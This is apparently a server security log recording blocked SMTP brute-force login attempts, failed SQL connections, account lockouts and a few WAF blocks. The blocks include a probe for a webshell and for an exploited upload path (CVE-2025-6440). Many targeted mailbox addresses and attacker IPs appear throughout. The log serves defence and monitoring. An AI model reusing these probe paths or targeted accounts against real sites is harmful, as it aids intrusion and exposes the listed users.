country_id: 1814991
description:
2026-02-01 11:52:25 dovecot_login authenticator failed for H=([111.61.177.188]) [111.61.177.188]:62574: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 64.72.74.162
country_id: 6252001
description:
2026-02-01 11:52:17 dovecot_plain authenticator failed for H=(adephics) [64.72.74.162]:40291: 535 Incorrect authentication data (set_id=azakaria.vpb@vc-b.com.my)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 186.222.83.139
country_id: 3469034
domain: mssa.org.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/mssa.org.my/product-category.php?id=1&sub=35 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.174
country_id: 2635167
description:
2026-02-01 11:52:54 219973 [Warning] Aborted connection 219973 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.174' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:52:25 dovecot_login authenticator failed for H=(IipGyyPMVz) [178.16.52.139]:63154: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:53:04 dovecot_login authenticator failed for H=(TrbdIc) [92.118.39.145]:49683: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:53:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:52422: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 64.89.163.174
country_id: 2635167
description:
2026-02-01 11:53:14 219981 [Warning] Aborted connection 219981 to db: 'unconnected' user: 'unauthenticated' host: '64.89.163.174' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:53:18 dovecot_login authenticator failed for H=(5OLf74RGU1) [158.94.208.175]:65146: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:54:04 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:58432: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 113.166.226.71
country_id: 1562822
description:
2026-02-01 11:54:14 dovecot_plain authenticator failed for H=(I7QG1XB55L1Y) [113.166.226.71]:64514: 535 Incorrect authentication data (set_id=seanlee@eminent.st)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:54:46 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47402: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:54:06 dovecot_login authenticator failed for H=(JOJyyCWN) [158.94.208.175]:56336: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:54:07 dovecot_login authenticator failed for H=(3pbwpLr) [158.94.208.175]:50607: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:54:13 dovecot_login authenticator failed for H=(1T898e) [92.118.39.145]:52613: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:54:33 dovecot_login authenticator failed for H=(x5I6Sv) [178.16.52.139]:50367: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 221.199.172.66
country_id: 1814991
description:
2026-02-01 11:55:22 dovecot_login authenticator failed for H=([221.199.172.66]) [221.199.172.66]:46326: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:55:23 dovecot_login authenticator failed for H=(YcK0OoSYWW) [92.118.39.145]:55705: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:55:08 dovecot_login authenticator failed for H=(vUpCRbBhd) [158.94.208.175]:58730: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 41.216.169.12
country_id: 2328926
description:
2026-02-01 11:55:58 dovecot_login authenticator failed for H=([41.216.169.12]) [41.216.169.12]:38506: 535 Incorrect authentication data (set_id=admin@acburn.com.my)


plugin: modsec
rule: 77517934
name: IM360 WAF: Access to PHP file in WCDP uploads blocked (CVE-2025-6440)
abuser: 85.203.23.168
country_id: 1880251
domain: eminent.st
description:
IM360 WAF: Access to PHP file in WCDP uploads blocked (CVE-2025-6440)||MV:/wp-content/uploads/wcdp-uploads/temp/xxc/stuff/wp-class.php||SC:||RSV:7.71||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:55:39 dovecot_login authenticator failed for H=(AD7IFt) [178.16.52.139]:49722: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 211.93.6.230
country_id: 1814991
description:
2026-02-01 11:55:06 dovecot_login authenticator failed for H=([211.93.6.230]) [211.93.6.230]:13510: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:55:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54298: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:56:08 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account admin@solidfence.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:56:11 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60085: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.173.23.37
country_id: 2635167
description:
2026-02-01 11:56:24 dovecot_plain authenticator failed for H=([10.8.18.199]) [158.173.23.37]:28377: 535 Incorrect authentication data (set_id=info@astlog.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 111.61.175.117
country_id: 1814991
description:
2026-02-01 11:56:33 dovecot_login authenticator failed for H=([111.61.175.117]) [111.61.175.117]:35948: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:56:55 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:47984: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:56:06 dovecot_login authenticator failed for H=(Dz4U42x7Qt) [158.94.208.175]:65086: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:56:10 dovecot_login authenticator failed for H=(qHfHGlPd5) [92.118.39.145]:57639: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 180.188.253.150
country_id: 1269750
description:
2026-02-01 11:56:24 dovecot_login authenticator failed for H=([180.188.253.150]) [180.188.253.150]:34276: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 11:56:05 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:57939: 535 Incorrect authentication data (set_id=support@mkmetal.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:57:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account admin@solidfence.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:57:18 dovecot_login authenticator failed for H=(0kH6AB9pZ) [92.118.39.145]:60536: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:57:03 dovecot_login authenticator failed for H=(JHM4ElDGHq) [158.94.208.175]:62707: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 50145
name: Failed login to SQL database
abuser: 152.32.251.174
country_id: 1819730
description:
2026-02-01 11:57:55 220238 [Warning] Aborted connection 220238 to db: 'unconnected' user: 'unauthenticated' host: '152.32.251.174' (This connection closed normally without authentication)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:57:16 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:50335: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:57:26 dovecot_login authenticator failed for H=(3Hvfm7) [178.16.52.139]:54956: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:58:03 dovecot_login authenticator failed for H=(Aa4E2a0h) [158.94.208.175]:51618: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.57.69.227
country_id: 690791
description:
2026-02-01 11:58:19 dovecot_login authenticator failed for H=([37.57.69.227]) [37.57.69.227]:55296: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:58:28 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:62740: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 182.75.215.245
country_id: 1269750
description:
2026-02-01 11:58:36 dovecot_login authenticator failed for H=(nsg-static-245.215.75.182-airtel.com) [182.75.215.245]:50694: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 11:58:59 dovecot_login authenticator failed for H=host-196-47-172-253.afnet.net [196.47.172.253]:48895: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:59:01 dovecot_login authenticator failed for H=(Bruz33fP) [158.94.208.175]:53939: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 11:58:11 dovecot_login authenticator failed for H=(YeUe7I) [178.16.52.139]:52832: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:58:03 dovecot_login authenticator failed for H=(xp9Cnr) [92.118.39.145]:62290: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:58:24 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account admin@solidfence.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 121.142.165.111
country_id: 1835841
description:
2026-02-01 11:58:49 dovecot_login authenticator failed for H=([121.142.165.111]) [121.142.165.111]:53357: 535 Incorrect authentication data (set_id=support@stonewld.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 11:59:23 dovecot_login authenticator failed for H=(1cbP5lGhy) [158.94.208.175]:57223: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.29.185.162
country_id: 1643084
description:
2026-02-01 11:59:25 dovecot_login authenticator failed for H=(ip-103-29-185-162.pascalwave.com) [103.29.185.162]:53200: 535 Incorrect authentication data (set_id=support)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 11:59:12 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:56591: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 11:59:11 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:51592: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 11:59:13 dovecot_login authenticator failed for H=(yxyjNGQ) [92.118.39.145]:65412: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 11:59:11 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account admin@solidfence.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 37.232.174.16
country_id: 2017370
description:
2026-02-01 12:00:07 dovecot_login authenticator failed for H=([37.232.174.16]) [37.232.174.16]:54458: 535 Incorrect authentication data (set_id=msc.einvoice@ms-chemicals.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:00:11 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63149: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 12:00:04 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account admin@solidfence.com.my has been locked for the attacker IP 92.118.39.145


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:00:04 dovecot_login authenticator failed for H=(1mbuMd) [158.94.208.175]:54846: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 12:00:06 dovecot_login authenticator failed for H=(rMdGRj) [92.118.39.145]:52062: 535 Incorrect authentication data (set_id=admin@solidfence.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 203.123.219.137
country_id: 1835841
description:
2026-02-01 12:01:43 dovecot_login authenticator failed for H=([203.123.219.137]) [203.123.219.137]:51145: 535 Incorrect authentication data (set_id=admin@essemgroup.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:01:05 dovecot_login authenticator failed for H=(jRXKwuzNPq) [158.94.208.175]:64916: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 12:01:23 dovecot_login authenticator failed for H=(ZSmio6S) [92.118.39.145]:54476: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:01:33 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:59675: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 49.246.68.220
country_id: 1835841
description:
2026-02-01 12:02:01 dovecot_login authenticator failed for H=([49.246.68.220]) [49.246.68.220]:50240: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:01:24 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:58320: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.186.174.35
country_id: 1269750
description:
2026-02-01 12:02:56 dovecot_login authenticator failed for H=(nsg-corporate-35.174.186.122.airtel.in) [122.186.174.35]:57070: 535 Incorrect authentication data (set_id=info@ajplantations.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:02:19 dovecot_login authenticator failed for H=(uNJq5aXuK) [158.94.208.175]:64022: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:02:20 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63187: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 122.187.230.82
country_id: 1269750
description:
2026-02-01 12:02:24 dovecot_login authenticator failed for H=(nsg-corporate-82.230.187.122.airtel.in) [122.187.230.82]:44461: 535 Incorrect authentication data (set_id=info@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:02:25 dovecot_login authenticator failed for H=(vjrH8K7) [178.16.52.139]:65438: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 116.113.193.70
country_id: 1814991
description:
2026-02-01 12:02:36 dovecot_login authenticator failed for H=([116.113.193.70]) [116.113.193.70]:25212: 535 Incorrect authentication data


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 12:02:10 dovecot_login authenticator failed for H=(eaCRBp) [92.118.39.145]:56577: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 12:02:29 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ramin.fpp has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13006
name: Active Response. SMTP brute force attack (SMTP ports are protected)
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 12:03:42 dovecot_login authenticator failed for H=(tOpJgsDZq) [92.118.39.145]:60274: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 12:03:00 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ramin.fpp has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:03:02 dovecot_login authenticator failed for H=(xOJ602d6Vg) [158.94.208.175]:55504: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:03:08 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:54065: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:03:32 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:54528: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 12:03:40 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(92.118.39.145)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 61.73.190.98
country_id: 1835841
description:
2026-02-01 12:03:08 dovecot_login authenticator failed for H=([61.73.190.98]) [61.73.190.98]:53275: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 89.67.37.52
country_id: 798544
description:
2026-02-01 12:03:12 dovecot_login authenticator failed for H=89-67-37-52.dynamic.play.pl [89.67.37.52]:48543: 535 Incorrect authentication data (set_id=marketing@smartcable.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.216.81.126
country_id: 49518
description:
2026-02-01 12:03:14 dovecot_login authenticator failed for H=([196.216.81.126]) [196.216.81.126]:60314: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 12:03:19 dovecot_login authenticator failed for H=(hE1pqMPP) [92.118.39.145]:59326: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 120.29.140.188
country_id: 1835841
description:
2026-02-01 12:03:23 dovecot_login authenticator failed for H=([120.29.140.188]) [120.29.140.188]:52931: 535 Incorrect authentication data (set_id=marketing)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.232.183.33
country_id: 1562822
domain: www.evergrown.com.my
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.evergrown.com.my/product-details.php?id=63491515046145 HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 12:04:02 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(92.118.39.145)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 12:04:04 dovecot_login authenticator failed for H=(gFhxBl7k) [92.118.39.145]:61092: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:04:05 dovecot_login authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:60371: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: modsec
rule: 77140878
name: IM360 WAF: Infectors: Suspicious access attempt (webshell)!
abuser: 114.119.133.34
country_id: 1880251
domain: www.indfinitydesign.com
description:
IM360 WAF: Infectors: Suspicious access attempt (webshell)!||MVN:REQUEST_URI||WPU:||RSV:7.71||T:APACHE||MV:/index.php/malaysia-infinity-design-projects/residential/img/druma_photos/services.php||SC:/home/indfinitydesign/public_html/index.php||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.47.172.253
country_id: 2287781
description:
2026-02-01 12:04:08 dovecot_plain authenticator failed for H=host-196-47-172-253.afnet.net (dallans) [196.47.172.253]:54816: 535 Incorrect authentication data (set_id=salesjb@col.com.my)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 12:04:21 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ramin.fpp has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:04:23 dovecot_login authenticator failed for H=(zLkxQ0) [158.94.208.175]:52993: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 12:05:14 dovecot_login authenticator failed for H=(ZFTRrRpv) [92.118.39.145]:63956: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:05:30 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:57078: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 157.15.40.57
country_id: 1643084
description:
2026-02-01 12:05:42 dovecot_login authenticator failed for H=(USER) [157.15.40.57]:55280: 535 Incorrect authentication data (set_id=info@nobledec.com)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 220.93.167.144
country_id: 1835841
description:
2026-02-01 12:05:51 dovecot_login authenticator failed for H=([220.93.167.144]) [220.93.167.144]:41712: 535 Incorrect authentication data (set_id=info)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 12:05:12 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(92.118.39.145)


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 14.163.211.41
country_id: 1562822
domain: www.kimmark.com
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.kimmark.com/services.php HTTP/1.1||RSV:7.71||T:APACHE||


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 12:05:17 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ramin.fpp has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 118.45.101.159
country_id: 1835841
description:
2026-02-01 12:05:32 dovecot_login authenticator failed for H=([118.45.101.159]) [118.45.101.159]:55171: 535 Incorrect authentication data (set_id=info@manforce.net)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.90.232.170
country_id: 1562822
description:
2026-02-01 12:05:34 dovecot_plain authenticator failed for H=(2mrvq1x6uj3pe0j6wqq91r4urrlpzcab) [103.90.232.170]:50508: 535 Incorrect authentication data (set_id=intercessors@agpc.org.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:05:03 dovecot_login authenticator failed for H=(LPJZX0sD) [158.94.208.175]:55088: 535 Incorrect authentication data (set_id=munch)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 92.118.39.145
country_id: 798549
description:
2026-02-01 12:06:01 dovecot_login authenticator failed for H=(o4VvED) [92.118.39.145]:49976: 535 Incorrect authentication data (set_id=admin)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 46.4.104.168
country_id: 2921044
description:
2026-02-01 12:06:12 dovecot_plain authenticator failed for H=static.168.104.4.46.clients.your-server.de (RDPWINDOWS.your-server.de) [46.4.104.168]:63135: 535 Incorrect authentication data (set_id=admin@ocned.com)


plugin: ossec
rule: 6011
name: Imunify PAM. The account has been locked for the attacker IP
abuser: 158.94.208.175
country_id: 2921044
description:
Feb  1 12:06:16 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_IPUL] The account ramin.fpp has been locked for the attacker IP 158.94.208.175


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 158.94.208.175
country_id: 2921044
description:
2026-02-01 12:06:18 dovecot_login authenticator failed for H=(RK9iYs) [158.94.208.175]:59199: 535 Incorrect authentication data (set_id=ramin.fpp)


plugin: ossec
rule: 6012
name: Imunify PAM. The account has been temporarily locked
abuser: 92.118.39.145
country_id: 798549
description:
Feb  1 12:06:23 sv3 auth[740177]: pam_imunify(dovecot_imunify:auth): [IM360_UL] The account admin has been temporarily locked by Imunify PAM(92.118.39.145)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 178.16.52.139
country_id: 2921044
description:
2026-02-01 12:06:39 dovecot_login authenticator failed for H=(4adUjpRk) [178.16.52.139]:55366: 535 Incorrect authentication data (set_id=euratech@euratech.com.my)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 103.130.207.227
country_id: 1282988
description:
2026-02-01 12:07:24 dovecot_login authenticator failed for H=([103.130.207.227]) [103.130.207.227]:45086: 535 Incorrect authentication data (set_id=msc.einvoice)


plugin: ossec
rule: 13001
